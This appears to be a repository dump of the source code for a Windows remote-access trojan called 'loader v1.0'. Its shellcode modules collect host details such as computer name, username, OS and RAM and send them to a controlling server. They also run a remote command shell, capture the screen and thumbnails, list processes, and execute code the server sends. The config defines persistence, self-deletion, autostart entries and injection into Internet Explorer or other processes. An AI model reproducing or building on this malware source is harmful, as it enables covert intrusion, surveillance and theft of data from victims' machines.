extra->gdi32 = xLoadLibraryA(data->gdi32);\n\n  // kernel32\n  dlsym(global_data->kernel32, WideCharToMultiByte);\n  dlsym(global_data->kernel32, GetTickCount);\n  dlsym(global_data->kernel32, GetComputerNameW);\n  dlsym(global_data->kernel32, GlobalMemoryStatusEx);\n  dlsym(global_data->kernel32, GetLocaleInfoA);\n  dlsym(global_data->kernel32, CreatePipe);\n  dlsym(global_data->kernel32, GetExitCodeProcess);\n  dlsym(global_data->kernel32, PeekNamedPipe);\n  dlsym(global_data->kernel32, ReadFile);\n  dlsym(global_data->kernel32, WriteFile);\n  dlsym(global_data->kernel32, TerminateProcess);\n  dlsym(global_data->kernel32, GetCurrentThreadId);\n  dlsym(global_data->kernel32, lstrcmpiA);\n  dlsym(global_data->kernel32, GetSystemDirectoryA);\n  dlsym(global_data->kernel32, lstrcatA);\n\n  // advapi32\n  dlsym(global_data->advapi32, GetUserNameW);\n  dlsym(global_data->advapi32, RegQueryValueExA);\n\n  // ws2_32\n  dlsym(global_data->ws2_32, gethostname);\n  dlsym(global_data->ws2_32, inet_ntoa);\n\n  // version\n  dlsym(extra->version, GetFileVersionInfoSizeA);\n  dlsym(extra->version, VerQueryValueA);\n  dlsym(extra->version, GetFileVersionInfoA);\n\n  // shlwapi\n  dlsym(extra->shlwapi, wnsprintfA);\n\n  // user32\n  dlsym(extra->user32, MessageBoxA);\n  dlsym(extra->user32, SetRect);\n  dlsym(extra->user32, GetUserObjectInformationA);\n  dlsym(extra->user32, SetThreadDesktop);\n  dlsym(extra->user32, CloseDesktop);\n  dlsym(extra->user32, GetSystemMetrics);\n  dlsym(extra->user32, GetDesktopWindow);\n  dlsym(extra->user32, GetDC);\n  dlsym(extra->user32, ReleaseDC);\n  dlsym(extra->user32, SetRectEmpty);\n  dlsym(extra->user32, GetCursorPos);\n  dlsym(extra->user32, GetThreadDesktop);\n  dlsym(extra->user32, OpenInputDesktop);\n\n  // gdi32\n  dlsym(extra->gdi32, CreateCompatibleBitmap);\n  dlsym(extra->gdi32, GetDIBits);\n  dlsym(extra->gdi32, CreateDIBSection);\n  dlsym(extra->gdi32, CreateCompatibleDC);\n  dlsym(extra->gdi32, SelectObject);\n  dlsym(extra->gdi32, DeleteDC);\n  dlsym(extra->gdi32, DeleteObject);\n  dlsym(extra->gdi32, BitBlt);\n  dlsym(extra->gdi32, StretchBlt);\n\n  socket_main(global_data, s);\n\n  if (extra->state & STATE_CMD_SHELL) {\n    xcmd_shell_finalize(INVALID_SOCKET);\n  }\n\n  if (extra->state & STATE_SCREEN_SPY) {\n    xscreenspy_finalize(INVALID_SOCKET);\n  }\n\n  if (extra->state & STATE_THUMBNAIL) {\n    extra->state &= ~STATE_THUMBNAIL;\n    xthumbnail.tick = 0;\n  }\n\n  if (xinformation.code != 0) {\n    free_executable_memory(0, xinformation.code);\n    xinformation.code = 0;\n  }\n\n  if (xcmd_shell.code != 0) {\n    free_executable_memory(0, xcmd_shell.code);\n    xcmd_shell.code = 0;\n  }\n\n  if (xthumbnail.code != 0) {\n    free_executable_memory(0, xthumbnail.code);\n    xthumbnail.code = 0;\n  }\n\n  if (xscreenspy.code != 0) {\n    free_executable_memory(0, xscreenspy.code);\n    xscreenspy.code = 0;\n  }\n  \n  if (xprocess.code != 0) {\n    free_executable_memory(0, xprocess.code);\n    xprocess.code = 0;\n  }\n}\n\n#undef DELTA  // undef macro DELTA\n\n// buffer ģ\n#include \"buffer.inc\"\n// magpack liteģ\n#include \"msgpack_lite.inc\"\n// ݰģ\n#include \"proto.inc\"\n// bitmap ģ\n#include \"bitmap.inc\"\n\nint send_information(global_data_t *global_data, SOCKET s) {\n  shellcode_main_data_t *data = (shellcode_main_data_t *)extra_data()->shellcode_main_data;\n  buffer_t *buf = xbuffer_new();\n\n  uint32_t size;\n  wchar_t tempw[1024];\n  char tempa[1024];\n\n  mlp_map_size(buf, 11);\n  /* 1 */{\n    size = 1024;\n    xGetComputerNameW(tempw, &size);\n    tempw[size] = 0;\n    mlp_str(buf, data->computer_name);\n    mlp_widestr(buf, tempw);\n  }\n  /* 2 */{\n    size = 1024;\n    xGetUserNameW(tempw, &size);\n    tempw[size] = 0;\n    mlp_str(buf, data->username);\n    mlp_widestr(buf, tempw);\n  }\n  /* 3 */{\n    xget_lan_info(tempa);\n    mlp_str(buf, data->lan);\n    mlp_str(buf, tempa);\n  }\n  /* 4 */{\n    mlp_str(buf, data->version);\n    mlp_signed(buf, FUNCTIONS_VERSION);\n  }\n  /* 5 */{\n    xget_os_version(tempa, 1024);\n    mlp_str(buf, data->os);\n    mlp_str(buf, tempa);\n  }\n  /* 6 */{\n    mlp_str(buf, data->cpu);\n    mlp_signed(buf, xget_cpu_frequency());\n  }\n  /* 7 */{\n    MEMORYSTATUSEX msex;\n    msex.dwLength = sizeof(MEMORYSTATUSEX);\n    xGlobalMemoryStatusEx(&msex);\n    mlp_str(buf, data->ram);\n    mlp_signed(buf, msex.ullTotalPhys);\n  }\n  /* 8 */{\n    mlp_str(buf, data->acc);\n    int method = 0;\n    if (global_data->socks5) method = 1;\n    mlp_signed(buf, 1);\n  }\n  /* 9 */  {\n    int len = xGetLocaleInfoA(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, tempa, 1024);\n    tempa[len] = 0;\n    mlp_str(buf, data->language);\n    mlp_str(buf, tempa);\n  }\n  /* 10 */ {\n    mlp_str(buf, data->id);\n    mlp_widestr(buf, global_data->id);\n  }\n  /* 11 */ {\n    mlp_str(buf, data->group);\n    mlp_widestr(buf, global_data->group);\n  }\n  int ret = xsend_packet(s, CMD_LOGIN_INFO, (const char *)buf->data, buf->size);\n\n  xbuffer_free(buf);\n\n  return ret;\n}\n\nint wait_command(global_data_t *global_data, SOCKET s) {\n  int ret;\n\n  for (;;) {\n    if (extra_data()->state != 0) {\n      ret = wait_buffer(s, 0, 10);\n    } else {\n      ret = wait_buffer(s, WAIT_BUFFER_TIMEOUT, 0);\n    }\n\n    if (ret < 0) return SOCKET_ERROR;\n\n    if (ret != 0) break;\n\n    if (extra_data()->state != 0) {\n      if (extra_data()->state & STATE_SCREEN_SPY) {\n        // screenspy\n        if (xscreenspy_send(s) == SOCKET_ERROR) return SOCKET_ERROR;\n      }\n\n      if (extra_data()->state & STATE_CMD_SHELL) {\n        if (xcmd_shell_send_result(s) == SOCKET_ERROR) return SOCKET_ERROR;\n      }\n\n      if (extra_data()->state & STATE_THUMBNAIL) {\n        if (xthumbnail_send(s) == SOCKET_ERROR) return SOCKET_ERROR;\n      }\n\n      continue;\n    }\n\n    // PING\n    if (xsend_packet(s, CMD_PING, 0, 0) < 0) return SOCKET_ERROR;\n  }\n\n  return 0;\n}\n\nvoid * __cdecl initalize_code(global_data_t *global_data, void *code, size_t size) {\n  void *ret = alloc_executable_memory(0, size);\n  if (ret == 0) return 0;\n\n  copy_memory(ret, code, size);\n\n  _submodule_entry entry = (_submodule_entry)ret;\n  entry(global_data);\n\n  return ret;\n}\n\nint __cdecl process_packet(global_data_t *global_data, SOCKET s, uint8_t cmd, void *data, size_t size) {\n  void *code;\n\n  // information code\n  if (cmd == CMD_SHELLCODE_INFORMATION) {\n    code = initalize_code(global_data, data, size);\n    if (code == 0) return SOCKET_ERROR;\n\n    xinformation.code = code;\n\n    return send_information(global_data, s);\n  }\n\n  // cmd_shell code\n  if (cmd == CMD_SHELLCODE_CMD_SHELL) {\n    code = initalize_code(global_data, data, size);\n    if (code == 0) return SOCKET_ERROR;\n\n    xcmd_shell.code = code;\n\n    return xcmd_shell_initialize(s);\n  }\n\n  // thumbnail code\n  if (cmd == CMD_SHELLCODE_THUMBNAIL) {\n    code = initalize_code(global_data, data, size);\n    if (code == 0) return SOCKET_ERROR;\n\n    xthumbnail.code = code;\n\n    extra_data()->state |= STATE_THUMBNAIL;\n\n    return xthumbnail_send(s);\n  } \n\n  // screenspy code\n  if (cmd == CMD_SHELLCODE_SCREENSPY) {\n    code = initalize_code(global_data, data, size);\n    if (code == 0) return SOCKET_ERROR;\n\n    xscreenspy.code = code;\n\n    return xscreenspy_initalize(s, xscreenspy.bit_count);\n  }\n\n  // process code\n  if (cmd == CMD_SHELLCODE_PROCESS) {\n    code = initalize_code(global_data, data, size);\n    if (code == 0) return SOCKET_ERROR;\n\n    xprocess.code = code;\n\n    return xprocess_send_list(s);\n  }\n\n  // pong\n  if (cmd == CMD_PONG) {\n    return 0;\n  }\n\n  // ping\n  if (cmd == CMD_PING) {\n    return xsend_packet(s, CMD_PONG, (char *)data, sizeof(uint32_t));\n  }\n  \n  // begin cmd_shell\n  if (cmd == CMD_BEGIN_CMDSHELL) {\n    // ӷȡ\n    if (xcmd_shell.code == 0) {\n      return xsend_packet(s, CMD_SHELLCODE_CMD_SHELL, 0, 0);\n    }\n\n    if (!(extra_data()->state & STATE_CMD_SHELL)) {\n      return xcmd_shell_initialize(s);\n    }\n  }\n\n  // cmd_shell data\n  if (cmd == CMD_CMDSHELL_DATA) {\n    if (extra_data()->state & STATE_CMD_SHELL) {\n      return xcmd_shell_execute(s, (const char *)((uint32_t *)data));\n    }\n  }\n\n  // stop cmd_shell\n  if (cmd == CMD_STOP_CMDSHELL) {\n    if (extra_data()->state & STATE_CMD_SHELL) {\n      return xcmd_shell_finalize(s);\n    }\n  }\n  \n  // begin screenspy\n  if (cmd == CMD_BEGIN_SCREENSPY) {\n    if (xscreenspy.code == 0) {\n      xscreenspy.bit_count = *(uint32_t*)data;\n      return xsend_packet(s, CMD_SHELLCODE_SCREENSPY, 0, 0);\n    }\n\n    if (!(extra_data()->state & STATE_SCREEN_SPY)) {\n      return xscreenspy_initalize(s, *(uint32_t*)data);\n    }\n  }\n  \n  // end screenspy\n  if (cmd == CMD_STOP_SCREENSPY) {\n    if (extra_data()->state & STATE_SCREEN_SPY) {\n      return xscreenspy_finalize(s);\n    }\n  }\n  \n  // begin thumbnail\n  if (cmd == CMD_THUMBANIL_START) {    \n    if (xthumbnail.code == 0) {\n      return xsend_packet(s, CMD_SHELLCODE_THUMBNAIL, 0, 0);\n    }\n\n    extra_data()->state |= STATE_THUMBNAIL;\n    return xthumbnail_send(s);\n  }\n\n  // end thumbnail\n  if (cmd == CMD_THUMBANIL_END) {\n    xthumbnail.tick = 0;\n    extra_data()->state &= ~STATE_THUMBNAIL;\n  }\n\n  // get process list\n  if (cmd == CMD_GET_PROCESS_LIST) {\n    if (xprocess.code == 0) {\n      return xsend_packet(s, CMD_SHELLCODE_PROCESS, 0, 0);\n    }\n\n    return xprocess_send_list(s);\n  }\n\n  return 0;\n}\n\nvoid __cdecl socket_main(global_data_t *global_data, SOCKET s) {\n  int ret;\n  uint8_t cmd;\n  void *buf;\n  size_t size;\n\n  // Ȼȡinformation code\n  if (extra_data()->information.code == 0) {\n    if (xsend_packet(s, CMD_SHELLCODE_INFORMATION, 0, 0) < 0) return;\n  } else {\n    send_information(global_data, s);\n  }\n\n  for (;;) {\n    ret = wait_command(global_data, s);\n    if (ret < 0) return;\n\n    ret = xrecv_packet(s, &cmd, &buf, &size);\n    if (ret < 0) return;\n\n    ret = process_packet(global_data, s, cmd, buf, size);\n\n    if (buf != 0) free_memory(buf);\n\n    if (ret == SOCKET_ERROR) return;\n  }\n}\n\nvoid __cdecl shellcode_main_code_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\n#undef FIX             // undef macro FIX\n\nvoid shellcode_main_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)shellcode_main_entry;\n  end = (char *)shellcode_main_code_end;\n  \n  printf(\"[*] shellcode_main code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  shellcode_main_data_t data;\n  \n  memset(&data, 0, sizeof(data));\n\n  lstrcpyA(data.user32, \"user32\");\n  lstrcpyA(data.version, \"version\");\n  lstrcpyA(data.shlwapi, \"shlwapi\");\n  lstrcpyA(data.gdi32, \"gdi32\");\n  lstrcpyA(data.id, \"id\");\n  lstrcpyA(data.computer_name, \"computer_name\");\n  lstrcpyA(data.username, \"username\");\n  lstrcpyA(data.lan, \"lan\");\n  lstrcpyA(data.os, \"os\");\n  lstrcpyA(data.cpu, \"cpu\");\n  lstrcpyA(data.ram, \"ram\");\n  lstrcpyA(data.acc, \"acc\");\n  lstrcpyA(data.language, \"language\");\n  lstrcpyA(data.group, \"group\");\n  fwrite(&data, 1, sizeof(data), f);\n\n  printf(\"[*] shellcode_main data size = 0x%X\\n\", sizeof(data));\n\n  fclose(f);\n  printf(\"[*] save shellcode main to %s success.\\n\", filename);\n}\n"
  },
  {
    "path": "loader v1.0/functions/functions/shellcodes.h",
    "content": "#ifndef SHELLCODES_H\n#define SHELLCODES_H\n\nvoid shellcode_main_save(char *filename);\nvoid information_save(char *filename);\nvoid cmd_shell_save(char *filename);\nvoid thumbnail_send_save(char *filename);\nvoid screenspy_save(char *filename);\nvoid process_save(char *filename);\n\n#endif SHELLCODES_H"
  },
  {
    "path": "loader v1.0/functions/functions/thumbnail.c",
    "content": "#include \"global_data.h\"\n#include \"shellcodes.h\"\n\nextern void __cdecl thumbnail_entry(global_data_t *global_data);\nextern int __cdecl thumbnail_send(global_data_t *global_data, SOCKET s);\nextern void __cdecl thumbnail_code_end();\n\n#define FIX(name) xthumbnail.##name = (_##name)(delta + (char *)name)\n\n#pragma optimize(\"ts\", on)\n\nvoid __cdecl thumbnail_entry(global_data_t *global_data) {\n  uint32_t delta;\n\n  __asm {\n    call x;\n  x:\n    pop\teax;\n    sub\teax, offset x;\n    mov\tdelta, eax\n  }\n\n  FIX(thumbnail_send);\n}\n\nint __cdecl thumbnail_send(global_data_t *global_data, SOCKET s) {\n  DWORD tick = xGetTickCount();\n  if (tick - xthumbnail.tick < 1000 * 10) return 0;\n  \n  xthumbnail.tick = tick;\n\n  HWND wnd;\n  HDC dc;\n  DWORD\tneeded;\n  HDESK\told, new_;\n\n  char\tcurrent[256], input[256];\n\n  old = xGetThreadDesktop(xGetCurrentThreadId());\n  zero_memory(current, sizeof(current));\n  xGetUserObjectInformationA(old, UOI_NAME, &current, sizeof(current), &needed);\n\n  new_ = xOpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);\n  zero_memory(input, sizeof(input));\n  xGetUserObjectInformationA(new_, UOI_NAME, &input, sizeof(input), &needed);\n\n  if (xlstrcmpiA(input, current) != 0) xSetThreadDesktop(new_);\n\n  xCloseDesktop(old);\n  xCloseDesktop(new_);\n\n  wnd = xGetDesktopWindow();\n  dc = xGetDC(wnd);\n\n  int width = xGetSystemMetrics(SM_CXSCREEN);\n  int height = xGetSystemMetrics(SM_CYSCREEN);\n\n  bitmap_t *thumbnail_bitmap = xbitmap_new(dc, 32, width / 10, height / 10);\n\n  xStretchBlt(thumbnail_bitmap->dc, 0, 0, 128, 96, dc, 0, 0, width, height, SRCCOPY | CAPTUREBLT);\n\n  buffer_t *buf = xbuffer_new();\n\n  xbitmap_save(thumbnail_bitmap, buf);\n\n  xbitmap_free(thumbnail_bitmap);\n\n  int ret = xsend_packet(s, CMD_THUMBNAIL_DATA, (const char *)buf->data, buf->size);\n\n  xbuffer_free(buf);\n\n  xReleaseDC(wnd, dc);\n\n  return ret;\n}\n\nvoid __cdecl thumbnail_code_end() {\n  printf(__FUNCTION__);\n}\n\n#pragma optimize(\"ts\", off)\n\n#undef FIX             // undef macro FIX\n\nvoid thumbnail_send_save(char *filename) {\n  char *start, *end;\n  FILE *f;\n\n  start = (char *)thumbnail_entry;\n  end = (char *)thumbnail_code_end;\n\n  printf(\"[*] thumbnail_send code size = 0x%X\\n\", end - start);\n\n  f = fopen(filename, \"wb\");\n  fwrite(start, 1, end - start, f);\n\n  fclose(f);\n\n  printf(\"[*] save thumbnail_send to %s success.\\n\", filename);\n}"
  },
  {
    "path": "loader v1.0/functions/functions.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 12.00\n# Visual Studio 2013\nVisualStudioVersion = 12.0.31101.0\nMinimumVisualStudioVersion = 10.0.40219.1\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"functions\", \"functions\\functions.vcxproj\", \"{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}\"\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tRelease|Win32 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{11D08AF6-6154-4C5D-9D4E-64453C7DCF6E}.Release|Win32.Build.0 = Release|Win32\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "loader v1.0/functions/functions.txt",
    "content": "WINBASEAPI\n__out_opt\nHMODULE\nWINAPI\nLoadLibraryA(\n    __in LPCSTR lpLibFileName\n    );\nWINBASEAPI\n__out_opt\nHMODULE\nWINAPI\nLoadLibraryW(\n    __in LPCWSTR lpLibFileName\n    );\nWINBASEAPI\nFARPROC\nWINAPI\nGetProcAddress (\n    __in HMODULE hModule,\n    __in LPCSTR lpProcName\n    );\nWINBASEAPI\n__out\nHANDLE\nWINAPI\nGetCurrentProcess(\n    VOID\n    );\nWINBASEAPI\nBOOL\nWINAPI\nCloseHandle(\n    __in HANDLE hObject\n    );\nWINBASEAPI\nHANDLE\nWINAPI\nOpenProcess(\n    __in DWORD dwDesiredAccess,\n    __in BOOL bInheritHandle,\n    __in DWORD dwProcessId\n    );\nWINBASEAPI\nint\nWINAPI\nlstrlenA(\n    __in LPCSTR lpString\n    );\nWINBASEAPI\nint\nWINAPI\nlstrlenW(\n    __in LPCWSTR lpString\n    );\nWINBASEAPI\nint\nWINAPI\nlstrcmpiW(\n    __in LPCWSTR lpString1,\n    __in LPCWSTR lpString2\n    );\nLPVOID\nWINAPI\nHeapAlloc(\n    __in HANDLE hHeap,\n    __in DWORD dwFlags,\n    __in SIZE_T dwBytes\n    );\nLPVOID\nWINAPI\nHeapReAlloc(\n    __inout HANDLE hHeap,\n    __in    DWORD dwFlags,\n    __deref LPVOID lpMem,\n    __in    SIZE_T dwBytes\n    );\nBOOL\nWINAPI\nHeapFree(\n    __inout HANDLE hHeap,\n    __in    DWORD dwFlags,\n    __drv_freesMem(Mem) __post __notvalid __deref LPVOID lpMem\n    );\nHANDLE\nWINAPI\nGetProcessHeap( VOID );\nHMODULE\nWINAPI\nGetModuleHandleA(\n    __in_opt LPCSTR lpModuleName\n    );\nDWORD\nWINAPI\nGetModuleFileNameW(\n    __in_opt HMODULE hModule,\n    __out_ecount_part(nSize, return + 1) LPWSTR lpFilename,\n    __in     DWORD nSize\n    );\nHANDLE\nWINAPI\nCreateMutexW(\n    __in_opt LPSECURITY_ATTRIBUTES lpMutexAttributes,\n    __in     BOOL bInitialOwner,\n    __in_opt LPCWSTR lpName\n    );\nDWORD\nWINAPI\nGetLastError(\n    VOID\n    );\nWINBASEAPI\nVOID\nWINAPI\nSleep(\n    __in DWORD dwMilliseconds\n    );\nLPVOID\nWINAPI\nVirtualAllocEx(\n    __in     HANDLE hProcess,\n    __in_opt LPVOID lpAddress,\n    __in     SIZE_T dwSize,\n    __in     DWORD flAllocationType,\n    __in     DWORD flProtect\n    );\nWINBASEAPI\nBOOL\nWINAPI\nVirtualFreeEx(\n    __in HANDLE hProcess,\n    __in LPVOID lpAddress,\n    __in SIZE_T dwSize,\n    __in DWORD  dwFreeType\n    );\nWINBASEAPI\nBOOL\nWINAPI\nWriteProcessMemory(\n    __in      HANDLE hProcess,\n    __in      LPVOID lpBaseAddress,\n    __in_bcount(nSize) LPCVOID lpBuffer,\n    __in      SIZE_T nSize,\n    __out_opt SIZE_T * lpNumberOfBytesWritten\n    );\nWINBASEAPI\nDWORD\nWINAPI\nWaitForSingleObject(\n    __in HANDLE hHandle,\n    __in DWORD dwMilliseconds\n    );\nHANDLE\nWINAPI\nCreateToolhelp32Snapshot(\n    DWORD dwFlags,\n    DWORD th32ProcessID\n    );\nBOOL\nWINAPI\nProcess32FirstW(\n    HANDLE hSnapshot,\n    LPPROCESSENTRY32W lppe\n    );\nBOOL\nWINAPI\nProcess32NextW(\n    HANDLE hSnapshot,\n    LPPROCESSENTRY32W lppe\n    );\nDWORD\nWINAPI\nExpandEnvironmentStringsW(\n    __in LPCWSTR lpSrc,\n    __out_ecount_part_opt(nSize, return) LPWSTR lpDst,\n    __in DWORD nSize\n    );\nBOOL\nWINAPI\nCreateProcessW(\n    __in_opt    LPCWSTR lpApplicationName,\n    __inout_opt LPWSTR lpCommandLine,\n    __in_opt    LPSECURITY_ATTRIBUTES lpProcessAttributes,\n    __in_opt    LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    __in        BOOL bInheritHandles,\n    __in        DWORD dwCreationFlags,\n    __in_opt    LPVOID lpEnvironment,\n    __in_opt    LPCWSTR lpCurrentDirectory,\n    __in        LPSTARTUPINFOW lpStartupInfo,\n    __out       LPPROCESS_INFORMATION lpProcessInformation\n    );\nHANDLE\nWINAPI\nCreateRemoteThread(\n    __in      HANDLE hProcess,\n    __in_opt  LPSECURITY_ATTRIBUTES lpThreadAttributes,\n    __in      SIZE_T dwStackSize,\n    __in      LPTHREAD_START_ROUTINE lpStartAddress,\n    __in_opt  LPVOID lpParameter,\n    __in      DWORD dwCreationFlags,\n    __out_opt LPDWORD lpThreadId\n    );\nVOID  WINAPI RtlZeroMemory(    IN VOID UNALIGNED  *Destination,    IN SIZE_T  Length\n    );VOID  WINAPI RtlMoveMemory(    IN VOID UNALIGNED  *Destination,\n    IN CONST VOID UNALIGNED  *Source,    IN SIZE_T  Length    );\nNTSTATUS WINAPI RtlCompressBuffer(\n  USHORT CompressionFormatAndEngine,\n  PUCHAR UncompressedBuffer,\n  ULONG  UncompressedBufferSize,\n  PUCHAR CompressedBuffer,\n  ULONG  CompressedBufferSize,\n  ULONG  UncompressedChunkSize,\n  PULONG FinalCompressedSize,\n  PVOID  WorkSpace\n);\nNTSTATUS WINAPI RtlGetCompressionWorkSpaceSize(\n  USHORT CompressionFormatAndEngine,\n  PULONG CompressBufferWorkSpaceSize,\n  PULONG CompressFragmentWorkSpaceSize\n);\nNTSTATUS WINAPI RtlDecompressBuffer(\n  USHORT CompressionFormat,\n  PUCHAR UncompressedBuffer,\n  ULONG  UncompressedBufferSize,\n  PUCHAR CompressedBuffer,\n  ULONG  CompressedBufferSize,\n  PULONG FinalUncompressedSize\n);\nWINADVAPI\nBOOL\nWINAPI\nOpenProcessToken (\n    __in        HANDLE ProcessHandle,\n    __in        DWORD DesiredAccess,\n    __deref_out PHANDLE TokenHandle\n    );\nWINADVAPI\nBOOL\nWINAPI\nLookupPrivilegeValueA(\n    __in_opt LPCSTR lpSystemName,\n    __in     LPCSTR lpName,\n    __out    PLUID   lpLuid\n    );\nWINADVAPI\nBOOL\nWINAPI\nAdjustTokenPrivileges (\n    __in      HANDLE TokenHandle,\n    __in      BOOL DisableAllPrivileges,\n    __in_opt  PTOKEN_PRIVILEGES NewState,\n    __in      DWORD BufferLength,\n    __out_bcount_part_opt(BufferLength, *ReturnLength) PTOKEN_PRIVILEGES PreviousState,\n    __out_opt PDWORD ReturnLength\n    );\nWINADVAPI\nLSTATUS\nAPIENTRY\nRegOpenKeyExA (\n    __in HKEY hKey,\n    __in_opt LPCSTR lpSubKey,\n    __in_opt DWORD ulOptions,\n    __in REGSAM samDesired,\n    __out PHKEY phkResult\n    );\nWINADVAPI\nLSTATUS\nAPIENTRY\nRegCreateKeyExW (\n    __in HKEY hKey,\n    __in LPCWSTR lpSubKey,\n    __reserved DWORD Reserved,\n    __in_opt LPWSTR lpClass,\n    __in DWORD dwOptions,\n    __in REGSAM samDesired,\n    __in_opt CONST LPSECURITY_ATTRIBUTES lpSecurityAttributes,\n    __out PHKEY phkResult,\n    __out_opt LPDWORD lpdwDisposition\n    );\nWINADVAPI\nLSTATUS\nAPIENTRY\nRegSetValueExW (\n    __in HKEY hKey,\n    __in_opt LPCWSTR lpValueName,\n    __reserved DWORD Reserved,\n    __in DWORD dwType,\n    __in_bcount_opt(cbData) CONST BYTE* lpData,\n    __in DWORD cbData\n    );\nWINADVAPI\nLSTATUS\nAPIENTRY\nRegQueryValueExW (\n    __in HKEY hKey,\n    __in_opt LPCWSTR lpValueName,\n    __reserved LPDWORD lpReserved,\n    __out_opt LPDWORD lpType,\n    __out_bcount_part_opt(*lpcbData, *lpcbData) __out_data_source(REGISTRY) LPBYTE lpData,\n    __inout_opt LPDWORD lpcbData\n    );\nWINADVAPI\nLSTATUS\nAPIENTRY\nRegCloseKey (\n    __in HKEY hKey\n    );\nint PASCAL FAR WSAStartup(\n                          __in WORD wVersionRequired,\n                          __out LPWSADATA lpWSAData);\nint PASCAL FAR WSACleanup(void);\n\nu_short PASCAL FAR htons (__in u_short hostshort);\n\nu_long PASCAL FAR inet_addr (__in const char FAR * cp);\n\nstruct hostent FAR * PASCAL FAR gethostbyname(__in_z const char FAR * name);\nSOCKET PASCAL FAR socket (\n                          __in int af,\n                          __in int type,\n                          __in int protocol);\nint PASCAL FAR closesocket ( IN SOCKET s);\n\nint PASCAL FAR connect (\n                        __in SOCKET s,\n                        __in_bcount(namelen) const struct sockaddr FAR *name,\n                        __in int namelen);\nint PASCAL FAR setsockopt (\n                           __in SOCKET s,\n                           __in int level,\n                           __in int optname,\n                           __in_bcount_opt(optlen) const char FAR * optval,\n                           __in int optlen);\nint PASCAL FAR send (\n                     __in SOCKET s,\n                     __in_bcount(len) const char FAR * buf,\n                     __in int len,\n                     __in int flags);\nint PASCAL FAR recv (\n                     __in SOCKET s,\n                     __out_bcount_part(len, return) __out_data_source(NETWORK) char FAR * buf,\n                     __in int len,\n                     __in int flags);\nint PASCAL FAR select (\n                        __in int nfds,\n                        __inout_opt fd_set FAR *readfds,\n                        __inout_opt fd_set FAR *writefds,\n                        __inout_opt fd_set FAR *exceptfds,\n                        __in_opt  const struct timeval FAR *timeout);\n\t\t\t\t\t\tWINBASEAPI\n__out\nLPWSTR\nWINAPI\nlstrcpyW(\n    __out_z LPWSTR lpString1, // deprecated: annotation is as good as it gets\n    __in  LPCWSTR lpString2\n    );\nWINBASEAPI\n__out\nLPSTR\nWINAPI\nlstrcpyA(\n    __out_z LPSTR lpString1, // deprecated: annotation is as good as it gets\n    __in  LPCSTR lpString2\n    );\t"
  },
  {
    "path": "loader v1.0/functions/readme.txt",
    "content": "ԵʱֻҪرúӺ˳Ͳᱻˣwhat fuck!\nΪcode_endû䣬ԻĬϺϲһֻҪcode endмprintf(__FUNCTION__);"
  },
  {
    "path": "loader v1.0/include/global.inc",
    "content": "; 这个头文件包含了通用数据的声明\ninclude 'macro\\struct.inc'\ninclude 'macro\\masm.inc'\ninclude 'macro\\if.inc'\n; unicode support\ninclude 'utf16.inc'\ninclude 'useful.inc'\ninclude 'win32_extra.inc'\n\n; 连接方式\nCONNECT_METHOD_DIRECT = 0\nCONNECT_METHOD_SOCKS5 = 1\n\n; 拷贝方式\nCOPY_METHOD_NONE = 0\nCOPY_METHOD_TO_WINDOWS = 1\nCOPY_METHOD_TO_SYSTEM = 2\n\nINJECT_METHOD_IEXPLORER = 0\nINJECT_METHOD_CUSTOM = 1\n\n; 注入间隔\nINJECT_TIMES = 4\nINJECT_INTERVAL = 1000 * 7\n\n; 连接间隔\nCONNECT_INTERVAL = 1000 * 30\n\n; 数据包头标志\nPACKET_HEADER_SIGNATURE = 0xdeedbeef\n\n; socket选项\nMAX_BUFFER_SIZE = 1024 * 4\nSEND_TIMEOUT = 30\nRECV_TIMEOUT = 20\nWAIT_TIMEOUT = 20\n\n; CMD_SHELLCODE_MAIN\nCMD_SHELLCODE_MAIN = 0\n\nstruct global_data_t\n\tis_wow64\t\t\t_BOOL\t?\t\t\t\t; 是否为wow64环境\n\tloader_path\t\t\t_WCHAR\t256\tdup(?)\t\t; loader的路径\n\n\t; 配置开始\n\tmutex_name\t\t\t_CHAR\t100 dup(?)\t\t; mutex name\n\tpersistence\t\t\t_BOOL\t?\t\t\t\t; 是否开启守护\n\n\tmelt\t\t\t\t_BOOL\t?\t\t\t\t; 是否删除源文件\n\tcopy_method\t\t\t_BYTE\t?\t\t\t\t; 拷贝方式\n\tcopy_to\t\t\t\t_WCHAR\t100 dup(?)\t\t; 目标文件名称\n\n\tstartup_hklm\t\t_BOOL\t?\t\t\t\t; 是否采用hklm方式自启动\n\tnklm_name\t\t\t_WCHAR\t100\tdup(?)\t\t; nklm名称\n\n\tstartup_acitvex\t\t_BOOL\t?\t\t\t\t; 是否采用activex方式启动\n\tactivex_name\t\t_WCHAR\t100\tdup(?)\t\t; activex名称\n\n\tinject_to_ie\t\t_BOOL\t?\t\t\t\t; 是否注入到ie\n\t\n\tinject_to_custom\t_BOOL\t?\t\t\t\t; 注入到通用进程\n\tcustom_process_name\t_WCHAR\t100\tdup(?)\t\t; 目标进程名称\n\n\tgroup\t\t\t\t_WCHAR\t12\tdup(?)\t\t; 分组名称\n\tid\t\t\t\t\t_WCHAR\t12\tdup(?)\t\t; id名称\n\n\tdns_list\t\t\t_BYTE\t256\tdup(?)\t\t; 服务器列表，结构为 